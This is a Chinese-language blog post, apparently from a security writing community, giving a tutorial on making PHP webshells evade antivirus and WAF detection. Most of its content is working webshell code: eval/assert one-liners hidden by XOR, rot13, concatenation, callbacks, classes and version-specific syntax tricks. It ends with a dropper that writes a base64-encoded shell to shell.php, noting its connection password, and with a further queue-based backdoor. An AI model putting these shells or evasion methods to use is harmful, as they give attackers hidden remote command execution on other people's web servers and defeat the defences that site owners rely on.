写点什么

免杀实战之面向 PHP 的 WebShell 免杀

  • 2022-10-13
    湖南
  • 本文字数:5106 字

    阅读完需:约 17 分钟

0X00 普通的一句话木马(适用于 CTF 和小站)

<pre id="PTXkG"><?php eval($_POST['a']); ?>//函数的相似替换<?php assert($_POST['a']); ?></pre>
复制代码


<?php @eval($_POST['110']);?>与第一个一句话木马相比多了一个"@"字符,我们发现这个字符的含义是在 php 语法中表示抑制错误信息即使有错误也不返回;属于不太重要的"组件",而且它的写入位置也相对灵活;可以是eval函数前面,也可以是post函数前面.....


接着我们看第二个代码,我们发现它把eval函数替换为了assert函数;这时我们通过查看 PHP 手册发现如下区别:


  • eval():函数把字符串当做代码来计算,但是字符串必须是正确的 PHP 代码,且要以分号结尾

  • assert():通过函数判断表达式是否成立,如果成立是会执行该表达式,否则报错


可以考虑使用 assert 函数代替 eval 函数,因为 eval 函数实在太敏感了!!!这时又有师傅会问:那还有什么敏感函数呢?那就太多了(eg:system,post,get.....),因此我们可以更据免杀的精髓得出,混淆和加密这两种百试不爽的两个方法。


小提示:php 一句话木马也可以执行其他命令!(<pre> <body><? @system($_GET["calc"]); ?></body> </pre>)所以,不一定要用 POST 函数,GET 函数也是可以的!(注意:get 函数只能向服务器请求信息,所以只能和命令执行绑定在一起哟!)

0X01 php 的免杀(字符串免杀思路)



字符串异或加密字符串 base 家族加密字符串 rot13 加密字符串拼接

php 免杀之异或免杀

大多数情况下,开发者为了方便自身的需求,会使用"黑名单"的方式扳掉许多敏感函数,来达到一个表面看上去新相对安全的一个目的,但是却不知道因为这种大意的思维会导致整个系统都处于极度危险中;攻击者以往遇见这种情况。完全可以通过加密的方法可以解决大部分的问题(eg:异或加密,base 家族加密,URL 加密.....)。


【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源


所以我们常常会说:白名单>WAF>黑名单!


"^"为异或运算符,在 PHP 中,两个变量进行异或时,会将字符串转换成二进制再进行异或运算,异或运算完,又将结果从二进制转换成了字符串


<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); $___=$__;$_($___[_]); 
<?php$_++;$__ = ("`" ^ "?") . (":" ^ "}") . ("%" ^ "`") . ("{" ^ "/");$___ = ("$" ^ "{") . ("~" ^ ".") . ("/" ^ "`") . ("-" ^ "~") . ("(" ^ "|");('%05'^'`')${$__}[!$_](${$___}[$_]);?>
<?php$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$_____;$____($_[$__]);
复制代码


小提示:可以通过下列的 PHP 异或脚本解决生成函数的问题


<?php    $test = '~!@#$%^&*()_+\|/?.,-={}[]';    for($i=0;$i<strlen($test);$i++){        for($j=0;$j<strlen($test);$j++){            if(ord($test[$i]^$test[$j])>64 && ord($test[$i]^$test[$j])<91){                echo $test[$i].'^'.$test[$j].'结果为:';                echo $test[$i]^$test[$j];                echo '<br>';            }else if(ord($test[$i]^$test[$j])>97 && ord($test[$i]^$test[$j])<122){                echo $test[$i].'^'.$test[$j].'结果为:';                echo $test[$i]^$test[$j];                echo '<br>';            }        }    } ?>
复制代码


虽然简单方便,但是容易通过静态识别被发现,这样我们的免杀就会被识破,为了继续进行 wbshell 免杀,我们可以通过学习下面的免杀技巧,并与之相结合!从而达到绕过 WAF 与 php 禁用函数的目的!

php 免杀之 base 家族加密

<?php$a = 'd2hvYW1p';echo base64_decode($a).'';?>
复制代码


这种方法没有什么特别的用处,但是可以尝试 base16 或 base32 与其他方法搭配使用,效果是不错的!

php 免杀之 rot13 加密

<?php$a=str_rot13('riny');$a($_POST['110']);?>
复制代码


rot13 对 eavl 函数进行加密,即"riny"(可以通过这种方式绕过函数的正则匹配)!



虽然威胁级别很高,但是我们可以作用于其他免杀的处理上,使得免杀率得到一定程度的下降!(但是下面这个却被杀的死死的,我不理解,会不会是格式原因呢?)


<?phpclass A{function xxx($a){$b=str_rot13('!r!i!n!y!!');$str=explode('!',$b)[5];$str($a);}}$c=new A();$c->xxx($_REQUEST['110']);?>
复制代码


php 免杀之拼接免杀

<?php $k="e"."v"."a"."l"; $k(${"_PO"."ST"} ['110']);?>
复制代码



我们可以将敏感函数拆分,然后做一个简单的敏感函数免杀!其次也可以使用下面的 arry 数组结构函数进行免杀。


<?php$a = substr_replace("xxser","asser",-3);$b = array('',$a);$c = $b[1].chr('116');$fun=preg_replace("/xx/","",$c);$d = substr_replace("",$fun,0);$d ($_POST['110']);?>
复制代码



也就是说,我们只要把 PSOT 函数在用 rot13 加个密就可以了;或者考虑变量替换(但是根据 D 盾的检测来看,效果不一定会比加密好)!

php 免杀之混淆免杀

<?php function a() { return "/*110110110110*/".$_POST['110']."/*110110110110**/"; } @eval(a()); ?>
复制代码



单纯的字符串变化直接被杀的死死的,因此我们还需要配合其他无用字符去混淆视听,进而增强免杀效果!


<?php $a = str_replace(x,"","xexaxvxlx"); $a(@$_POST["110"]); ?>
复制代码



这里多少一句啊,为了避免被检测到,可以参考文件上传的原理(重点是想办法造成溢出),这样的后果就是文件变大,不过适合搭配图片马使用。

0X02 php 的免杀(函数特性免杀思路)



函数替换自定义函数绕过变形回调数组可变变量

php 免杀之函数替换

array_map():函数基本上是将数组的每个元素发送到用户自定义的函数中进行修改或处理,然后返回一个具有该函数修改后新值的数组。


array_filter():通过函数过滤掉数组中的元素


array_reduce():发送数组中的值到用户自定义函数,并返回一个字符串


array_diff_uassoc():比较两个数组的键名和键值(使用用户自定义函数比较键名),并返回差集


array_udiff():比较两个数组的键值(使用用户自定义函数比较键值),并返回差集


array_udiff_uassoc():通过使用自定义函数比较键和值,计算数组的差集


array_intersect_assoc():比较两个数组的键名和键值,并返回交集


array_uintersect():比较两个数组的键值(使用用户自定义函数比较键值),并返回交集


array_uintersect_uassoc():比较两个数组的键名和键值(使用用户自定义函数进行比较),并返回交集


xml_set_character_data_handler():该函数规定当解析器在 XML 文件中找到字符数据时所调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。


xml_set_default_handler():函数为 XML 解析器建立默认的数据处理器。该函数规定在只要解析器在 XML 文件中找到数据时都会调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。


xml_set_external_entity_ref_handler():函数规定当解析器在 XML 文档中找到外部实体时被调用的函数。如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE


xml_set_notation_decl_handler():函数规定当解析器在 XML 文档中找到符号声明时被调用的函数。


如果成功,该函数则返回 TRUE。如果失败,则返回 FALSE。


xml_set_unparsed_entity_decl_handler():函数规定在遇到无法解析的实体名称(NDATA)声明时被调用的函数。如果处理器被成功的建立,该函数将返回 true;否则返回 false。


尽量去 PHP 语法手册,找一些及其偏门的函数........

php 免杀之自定义函数绕过(可搭配大小写)

<?php  function aaa($a){     return $a; } function bbb($b){     return eval($b); } function post(){    return @$_POST['110'];}    function run(){    return aaa(bbb)(aaa(post)());}aaa(bbb)(aaa(post)());?>
复制代码



我们可以通过我们自定义的函数方式,搭配 php 的版本和可替换函数绕过 WAF 的拦截,达到免杀的目的!由于在 PHP 函数中函数名、方法名、类名 不区分大小写,但推荐使用与定义时相同的名字的时候还可以使得大小写进行绕过,所以大大提升了免杀效果!

php 免杀之回调函数加组合绕过

array_walk()  array_map()filter_var() filter_var_array() uasort() uksort() 
复制代码


以上是常见的可待替代函数,但是大部分都被杀的死死的,所以需要混淆才可以使用!

php 免杀之数组绕过

<?php$a = substr_replace("evxx","al",2);$b = array($arrayName = ($arrayName =($arrayName = array('a' => $b($_POST['110'])))));?>
复制代码


php 免杀之可变变量

PHP 中有一种变量叫做可变变量,这种变量不是一种基础类型的变量。可变变量是指一个普通变量的值可以作为另一个变量的名称被使用。这句话听起来有些抽象。我们可以通过实例来展示可变变量的定义以及实用。


<?php $zeo='miansha';$zeo=$_POST['110'];eval($miansha);?>
复制代码



这个时候我们就可以使用一些多次加密的手段,把eval函数进行一个多次加密,已达到完全免杀的结果!

php 的免杀使用类绕过免杀

类现在是大多数人的常用选择之一,因为类这个方法在过 D 盾检测的时候效率较高;但是用类自然就少不了魔法函数,我们简单构造一个类的免杀马如下:


<?php  class zeo2 {   public $b ='';   function post(){     return $_POST['x'];   } }class zeo extends zeo2{  public $code=null;  function __construct(){          $code=parent::post();    assert($code);}}$blll = new zeo;$bzzz = new zeo2;?>
复制代码


0X03 php 的免杀(基于 PHP 版本差异进行免杀)



传统的 php 免杀不用多说了,无非就是各种变形和外部参数获取,对于一些先进的 waf 和防火墙来说,不论如何解析最终都会到达命令执行的地方,但是如果语法报错的话,就可能导致解析失败了,这里简单说几个利用 php 版本来进行语义出错的 php 命令执行方式。

1、利用特殊符号来引起报错

<?php \echo 'whoami'; ?>
复制代码


PHP 版本:只限于 5.2 版本


它的要求是能干扰到杀软的正则判断,还要代码能执行。这个可以自己慢慢测试。具体就是利用各种回车、换行、null 和空白字符,这里我们尝试改造为可连接的一句话木马,配合上面的可变变量


<?php $xxxxxxxxxxxxxx='miansha'; $xxxxxxxxxxxxxx=$_POST['110']; eval(``.$miansha); ?>
复制代码


2、十六进制字符串

PHP 版本:只限于 5.3 和 5.5 版本;在 php7 中不认为是数字,php5 则依旧为数字。(友情提示: 5.X 可以成功执行命令,php7 无法执行)


<?php $s=substr("aabbccsystem","0x6"); $s(whoami) ?>
复制代码



小提示:对于我们可以结合垃圾数据,变形混淆,以及大量特殊字符和注释的方式来构造更多的 payload,毕竟每家的 waf 规则不同,配置也不同,与一些传输层面的 bypass 进行结合产生的可能性就会非常多样。

3、利用在语法不换行来执行命令

PHP 版本:只限于 7.3.4 版本,如果是其他的版本就会报错,所以针对性较强!


<?php$a = $_GET['function'] ?? 'whoami';$b = $_GET['cmd'] ?? 'whoami';$a(null.(null.$b));?>
复制代码


小提示:7.0 版本的??特性,如果版本为 5.x 的话就会报错,可以结合一些其他的方式吧!


0X04PHP 一句话免杀实例

我这边就送个大家一些免杀把!


<?php $file="shell.php";$shell="PD9waHAKJGEgPSBzdWJzdHJfcmVwbGFjZSgieHhzZXIiLCJhc3NlciIsLTMpOwokYiA9IGFycmF5KCcnLCRhKTsKJGMgPSAkYlsxXS5jaHIoJzExNicpOwokZnVuPXByZWdfcmVwbGFjZSgiL3h4LyIsIiIsJGMpOwokZCA9IHN1YnN0cl9yZXBsYWNlKCIiLCRmdW4sMCk7CiRkICgkX1BPU1RbJzExMCddKTsKPz4=";file_put_contents($file,base64_decode($shell));?>//连接密码110
复制代码



另外在附上小马一个,希望大家一起集思广益!


<?phpini_set("display_errors",1);$objPQ = new SplPriorityQueue();$objPQ->insert('m',1);$objPQ->insert('s',6);$objPQ->insert('e',3);$objPQ->insert('s',4);$objPQ->insert('y',5);$objPQ->insert('t',$_GET[a]);$objPQ->setExtractFlags(SplPriorityQueue::EXTR_DATA);//Go to TOP$objPQ->top();$m='';$cur = new ErrorException($_GET[b]);while($objPQ->valid()){ $m.=$objPQ->current(); $objPQ->next();}echo $m($cur->getMessage());?>//密钥3
复制代码


0X04 一句话免杀小结

这篇文章的目的是想让大家对一句话木马免杀有一定的了解

用户头像

我是一名网络安全渗透师 2021-06-18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
免杀实战之面向PHP的WebShell免杀_网络安全_网络安全学海_InfoQ写作社区